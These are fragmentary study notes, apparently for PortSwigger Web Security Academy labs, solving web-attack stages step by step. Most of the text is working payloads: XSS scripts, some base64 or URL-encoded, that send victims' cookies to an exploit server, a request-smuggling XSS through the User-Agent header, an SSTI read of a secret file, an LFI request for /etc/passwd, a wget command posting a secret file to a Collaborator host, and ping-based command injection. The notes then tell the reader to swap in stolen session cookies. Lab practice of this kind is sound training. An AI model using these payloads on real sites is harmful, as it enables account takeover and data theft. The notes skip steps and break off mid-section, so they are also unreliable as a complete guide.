burp update
burp update
Message about reset link if user exists (in my case it was either carlos or guest. You can try
usernames from here: https://portswigger.net/web-security/authentication/auth-lab-
usernames):
7. Open log client on the exploit server, note the link with password reset
8. Append link into GET request of the main application page
During exploring the application you can notice strange behavior of the ‘search’ functionality
– search string is not updated each time your are searching.
Also use burp-search to find key words of this lab: X-cahce: hit, X-Cache:miss.
3. Go to the exploit server and change the file name to match the path used by the
vulnerable response: /resources/js/tracking.js
5. Add the X-Forwarded-Host header with hostname of you exploit server. Replay
request
6. Observe that the X-Forwarded-Host header has been used to dynamically generate an
absolute URL for importing a JavaScript file stored at /resources/js/tracking.js.
10. Open dev console in browser, replace current ‘session’ cookie to cookies from exploit
server log, reload ‘my account’ page
SOLVED
https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-
web-cache-poisoning-with-an-unkeyed-header
STAGE1.APP3 [HTTP Smuggling + XSS Through User Agent]
1. Let Burp Scanner find the HTTP Smuggle request and returns a 200 response, some will give
you 400’s which are useless to us. Use that request, delete all the “sec” headers – they’re
useless.
We will work with this request:
2. Add this to the end of the request that burp generated (changing your url’s and all of course):
```
GET /post?postId=4 HTTP/1.1
Host: your-host.web-security-academy.net
User-agent: "><script>alert(document.cookie);var x=new
XMLHttpRequest();x.open("GET","https://exploit-server.web-security-
academy.net/"+document.cookie);x.send();</script>
```
And then send it through intruder with null payloads like 100 or so times
3. In Exploit Server view logs for users cookie.
4. Open dev console in browser, replace current ‘session’ cookie to cookies from exploit
server log, reload ‘my account’ page
SOLVED
https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss
STAGE1.APP4 [XSS with most tags and attributes blocked]
XSS in the search bar, the one where you have to check every tag, and every attribute through Burp
Intruder.
1. Burp scanner identify it as ‘reflected xss’
2. Send to intruder search request, then iterate through each tag, after finding allowed tag
iterate through each event (references to lab below)
3. Tags and attribute that was allowed:
<body onhashchange>
<body onload>
<body onmessage>
Payload that was sent to victim (in the body section of the exploit server). Sometimes you need to
double url encode this string “document.location='https://exploit-
ac1d1ff61ead7d85c04d322e017900cf.web-security-academy.net/?c='+document.cookie"
Or base64 encode it like on examples below. Both payloads are verified and working.
<iframe src="https://acac1f2c1e7f6507c0a71e0c00b100d9.web-security-
academy.net/?query=%27%3Cbody%20onhashchange=%22eval(atob('ZG9jdW1lbnQubG9jYXRpb249
J2h0dHBzOi8vZXhwbG9pdC1hYzQ0MWY0MDFlZjg2NTkxYzA4ZDFlZGMwMWNlMDBiYy53ZWItc2VjdXJ
pdHktYWNhZGVteS5uZXQvP2M9Jytkb2N1bWVudC5jb29raWU'))%22%3E//"
onload="this.onload='';this.src+='#XSS'"></iframe>
<iframe src="https://you-app.web-security-
academy.net/?searchterm=%22%3E%3Cbody%20onload=%22document.location%22%5D%3D%22htt
ps%3A%2F%2Fexploit-server%252eweb-security-
academy%252enet/?c='+document%252ecookie"%22%3E//" >
4. Store exploit, click ‘deliver to victim’. Go to exploit server log and copy session cookies.
5. Open dev console in browser, replace current ‘session’ cookie to cookies from exploit
server log, reload ‘my account’ page
SOLVED
https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-
and-attributes-blocked
STAGE1.APP5 [DOM XSS using JSON PARSE]
1. Explore the application. User burp search to find JSON.parse(e.data). If you have this string
you are in a correct lab.
3. Store exploit, click ‘deliver to victim’. Go to exploit server log and copy session cookies.
4. Open dev console in browser, replace current ‘session’ cookie to cookies from exploit
server log, reload ‘my account’ page
SOLVED
https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-
using-web-messages-and-json-parse
STAGE1.APP6 [Filtered XSS]
1. Search parameter is vulnerable to reflected XSS, scanner can identify it during active scan
2. you will see that all tags are allowed except <script>. This can easily be bypassed by
doing the following
3. Place this script into body section of the exploit server:
4.
<script>
location='https://your-lab.web-security-
academy.net/?lookup=%3C%2FScRiPt%20%3E%3Cimg%20src%3Da%20onerror%3D%2
8document.location%29%3D%22https%3A%2F%2Fsiteproxy.ruqli.workers.dev%3A443%2Fhttps%2Fexploit-you-exploit.web-
security-academy.net%2F%3F%22%2B%28document.cookie%29%3E';
</script>
5. Store exploit, click ‘deliver to victim’. Go to exploit server log and copy session cookies.
6. Open dev console in browser, replace current ‘session’ cookie to cookies from exploit
server log, reload ‘my account’ page
Alternative payload:
</ScRiPt
><ScRiPt>window["document"]["location"]="https://exploitserverhere.we
bsecurity-
academy.net/?"+window["document"]["cookie"]</ScRiPt >
Copy the url this generates (should be url encoded) and create a
<script>location=”urlfromsearchquerycopied”;</script> and
send that to the victim. Check log for session
SOLVED
STAGE2.APP1 [SQL inj in advanced search bar]
1. Once you’ve got normal user account and you see ‘advanced search’ option you most
probably have SQL injection here.
SOLVED
https://portswigger.net/web-security/access-control/lab-user-role-can-be-modified-in-user-
profile
STAGE2.APP3 [Strange cookies+CSRF]
2. Turn on Interceptor
3. Being logged in as carlos - Send email change request, highlight this request, we will work
with it further
4. In Incognito mode in other browser window send password request for administrator.
5. Exchange the cookie and csrf token from the email request for carlos.
6. Should now be assigned cookie with admin and loggedin as true in the response
7. Open dev console in browser, replace current ‘session’ cookie to cookies from
response reload ‘my account’ page
SOLVED
https://portswigger.net/web-security/csrf/lab-token-not-tied-to-user-session
STAGE3.APP1 [SSTI]
{{
''.__class__.__mro__[2].__subclasses__()[40]('/home/carlos/secret').r
ead() }}
3. Logout from admin account, click ‘reset password’, go to exploit server, observe flag:
STAGE3.APP2 [XXE in file upload]
2. Upload file, observe error in the application, observe request in burpcollab. Here and there is
our flag
SOLVED
https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration
1. If the admin panel only has pictures with no image size you have LFI
LFI in image.
GET
/admin/adminimg?imagefile=..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f/et
c/passwd
Blacklisting the word “secret” – double encode it
STAGE3.APP4 [OS command injection in image file with image size]
If in admin panel you have just pictures with a img-size type at the end you can paste the link
below in your repeater
img-size="`/usr/bin/wget%20--post-
file%20/home/carlos/secret%20https://colablink.burpcollaborator.net/`"
DOCTYPE DISALLOWED
4. Run automated burp scan on POST request for file upload, OS command injection should
be detected here
5. Discover which command format is valid (e.g. using ping to collaborator, you should see
DNS lookup). Pay attention on all the characters in the command. Here and in all other
steps remember to insert references to your own collaborators.
<email>`0&ping
mtjqfgycz3qj9i2qbd9g0ngtnktfh4.burpcollaborator.net &`</email>
6. Try to inject command inside this command (e.g. whoami – collaborator responses with
carlos then)
<email>`0&ping
$(whoami).mtjqfgycz3qj9i2qbd9g0ngtnktfh4.burpcollaborator.net
&`</email>
Similar labs:
https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-
exfiltration
Idea was getting from here:
https://portswigger.net/web-security/os-command-injection